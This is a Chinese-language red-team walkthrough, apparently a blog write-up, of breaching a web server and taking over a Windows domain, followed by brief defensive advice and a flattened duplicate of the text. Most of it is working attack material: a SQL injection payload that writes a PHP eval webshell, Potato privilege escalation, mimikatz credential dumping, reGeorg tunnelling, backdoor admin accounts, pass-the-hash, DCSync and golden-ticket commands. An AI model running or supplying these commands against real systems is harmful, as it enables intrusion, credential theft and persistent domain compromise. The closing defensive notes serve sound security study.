红队攻防之从边界突破到漫游内网(无cs和msf)
字数 1444 2025-08-24 20:49:22

红队攻防实战:从边界突破到漫游内网(无CS和MSF)

1. 网络拓扑与攻击概述

本次红队攻防实战的网络拓扑结构如下:

  • 边界服务器:暴露在公网的Web服务器
  • 内网服务器:10.0.1.4(工作组环境)
  • 域内主机:10.0.1.8
  • 域控服务器:10.0.1.6(DC.xx.xx)

攻击路径:边界突破 → 内网信息收集 → 横向移动 → 域控攻陷 → 权限维持

2. 边界突破阶段

2.1 SQL注入获取Webshell

  1. 漏洞探测

    • 访问目标网站:http://xxx.xxx.xxx/?id=1
    • 测试SQL注入:
      • and 1=1 显示正确
      • and 1=2 显示错误
    • 确认存在SQL注入并获取绝对路径
  2. 写入Webshell

    http://xxx.xxx.xxx/?id=1 and 1=2 union select 1,'<?php @eval($_REQUEST[xxx]);?>' into outfile 'x:\\xxx\\xxx\\xxx.php'
    
    • 需要写入权限和已知绝对路径
  3. 验证Webshell

    • 访问:http://xxx.xxx.xxx/xxx.php?xxx=phpinfo();
    • 使用蚁剑连接获取初始shell

2.2 权限提升

  1. 信息收集

    whoami
    ipconfig /all
    route print
    net config Workstation
    
  2. 使用Potato提权

    • 上传Potato工具并重命名
    • 执行提权命令:
      xxx.exe -p "whoami"
      
  3. 抓取凭证

    • 上传mimikatz并重命名为x.exe
    • 执行:
      xxx.exe -p "x.exe ""privilege::debug"" ""sekurlsa::logonpasswords full"" exit >> log.txt"
      
    • 检查log.txt获取凭证

3. 内网穿透

3.1 使用reGeorg建立隧道

  1. 上传reGeorg的tunnel.php并重命名为tu.php
  2. 访问确认:http://xx.xx.xx/tu.php
  3. 本地启动reGeorg:
    python3 xx.py -k xxx -u http://xx.xx.xx/tu.php
    
    • 本地1080端口的流量转发到目标URL

4. 内网横向移动

4.1 拿下边界服务器

  1. 通过代理连接10.0.1.4
  2. 创建新账号并提权:
    xx.exe -p "net user xxx xxxx /add"
    xx.exe -p "net localgroup administrators xxxx /add"
    
  3. 远程桌面连接

4.2 使用mimikatz抓取凭证

  1. 管理员权限运行mimikatz
  2. 执行:
    privilege::debug
    sekurlsa::logonpasswords
    
  3. 获取管理员账户密码

4.3 扫描内网

  1. 使用nbtscan扫描C段,发现三台存活主机
  2. 尝试使用相同凭证登录其他主机

4.4 拿下域内主机(10.0.1.8)

  1. 使用获取的管理员凭证远程连接
  2. 信息收集:
    whoami
    ipconfig /all  # 发现域环境
    
  3. 确认DNS服务器(通常为域控)

4.5 提升至system权限

  1. 上传PsExec.exe
  2. 执行:
    PsExec.exe -i -s -d cmd
    
  3. 获取域控主机名:DC.xx.xx

5. 域控攻陷

5.1 哈希传递攻击

  1. 使用mimikatz获取域管理员哈希:

    privilege::debug
    sekurlsa::logonpasswords
    

    获取:

    • user=administrator
    • Domain=xxx
    • NTLM=xxxxxxx
  2. 执行哈希传递:

    sekurlsa::pth /user:administrator /domain:"xx.xx" /ntlm:xxxxxxx
    
  3. 访问域控共享:

    dir \\DC.xx.xx\c$
    

5.2 获取域控权限

  1. 使用PsExec获取域控cmd:

    PsExec.exe \\dc.xx.xx cmd
    
  2. 创建新管理员账号:

    net user xxx xxxx /add
    net localgroup administrators xxxx /add
    
  3. 直接登录域控主机10.0.1.6

6. 权限维持

6.1 制作黄金票据

  1. 在域控上获取krbtgt哈希:

    lsadump::dcsync /user:krbtgt
    
  2. 获取关键值:

    • OSID
    • Hash_NTLM
  3. 制作黄金票据:

    kerberos::golden /admin:administrator /domain:xx.xx /sid:xx-xx-xx /krbtgt:xxxxxx /ticket:xxx.kiribi
    
  4. 加载票据:

    kerberos::ptt xxx.kiribi
    
  5. 验证访问:

    dir \\DC.xx.xx\c$
    

7. 工具清单

  • SQL注入:手工注入
  • Webshell管理:蚁剑
  • 提权工具:Potato
  • 凭证抓取:mimikatz
  • 内网穿透:reGeorg
  • 横向移动:PsExec
  • 权限维持:黄金票据

8. 防御建议

  1. 边界防御

    • 修复SQL注入漏洞
    • 限制Web目录写入权限
    • 禁用不必要的功能(如into outfile)
  2. 内网防护

    • 实施网络分段
    • 禁用NTLM认证
    • 监控PsExec等工具的使用
  3. 域控防护

    • 安装KB2871997补丁
    • 监控krbtgt账户变更
    • 实施LSA保护
  4. 日志监控

    • 收集和分析Windows事件日志
    • 监控异常账户创建
    • 跟踪特权操作

通过本次实战,展示了从边界突破到内网漫游的完整攻击链,强调了红队攻击的常见手法和防御要点。

红队攻防实战:从边界突破到漫游内网(无CS和MSF) 1. 网络拓扑与攻击概述 本次红队攻防实战的网络拓扑结构如下: 边界服务器:暴露在公网的Web服务器 内网服务器:10.0.1.4(工作组环境) 域内主机:10.0.1.8 域控服务器:10.0.1.6(DC.xx.xx) 攻击路径:边界突破 → 内网信息收集 → 横向移动 → 域控攻陷 → 权限维持 2. 边界突破阶段 2.1 SQL注入获取Webshell 漏洞探测 : 访问目标网站: http://xxx.xxx.xxx/?id=1 测试SQL注入: and 1=1 显示正确 and 1=2 显示错误 确认存在SQL注入并获取绝对路径 写入Webshell : 需要写入权限和已知绝对路径 验证Webshell : 访问: http://xxx.xxx.xxx/xxx.php?xxx=phpinfo(); 使用蚁剑连接获取初始shell 2.2 权限提升 信息收集 : 使用Potato提权 : 上传Potato工具并重命名 执行提权命令: 抓取凭证 : 上传mimikatz并重命名为x.exe 执行: 检查log.txt获取凭证 3. 内网穿透 3.1 使用reGeorg建立隧道 上传reGeorg的tunnel.php并重命名为tu.php 访问确认: http://xx.xx.xx/tu.php 本地启动reGeorg: 本地1080端口的流量转发到目标URL 4. 内网横向移动 4.1 拿下边界服务器 通过代理连接10.0.1.4 创建新账号并提权: 远程桌面连接 4.2 使用mimikatz抓取凭证 管理员权限运行mimikatz 执行: 获取管理员账户密码 4.3 扫描内网 使用nbtscan扫描C段,发现三台存活主机 尝试使用相同凭证登录其他主机 4.4 拿下域内主机(10.0.1.8) 使用获取的管理员凭证远程连接 信息收集: 确认DNS服务器(通常为域控) 4.5 提升至system权限 上传PsExec.exe 执行: 获取域控主机名:DC.xx.xx 5. 域控攻陷 5.1 哈希传递攻击 使用mimikatz获取域管理员哈希: 获取: user=administrator Domain=xxx NTLM=xxxxxxx 执行哈希传递: 访问域控共享: 5.2 获取域控权限 使用PsExec获取域控cmd: 创建新管理员账号: 直接登录域控主机10.0.1.6 6. 权限维持 6.1 制作黄金票据 在域控上获取krbtgt哈希: 获取关键值: OSID Hash_ NTLM 制作黄金票据: 加载票据: 验证访问: 7. 工具清单 SQL注入 :手工注入 Webshell管理 :蚁剑 提权工具 :Potato 凭证抓取 :mimikatz 内网穿透 :reGeorg 横向移动 :PsExec 权限维持 :黄金票据 8. 防御建议 边界防御 : 修复SQL注入漏洞 限制Web目录写入权限 禁用不必要的功能(如into outfile) 内网防护 : 实施网络分段 禁用NTLM认证 监控PsExec等工具的使用 域控防护 : 安装KB2871997补丁 监控krbtgt账户变更 实施LSA保护 日志监控 : 收集和分析Windows事件日志 监控异常账户创建 跟踪特权操作 通过本次实战,展示了从边界突破到内网漫游的完整攻击链,强调了红队攻击的常见手法和防御要点。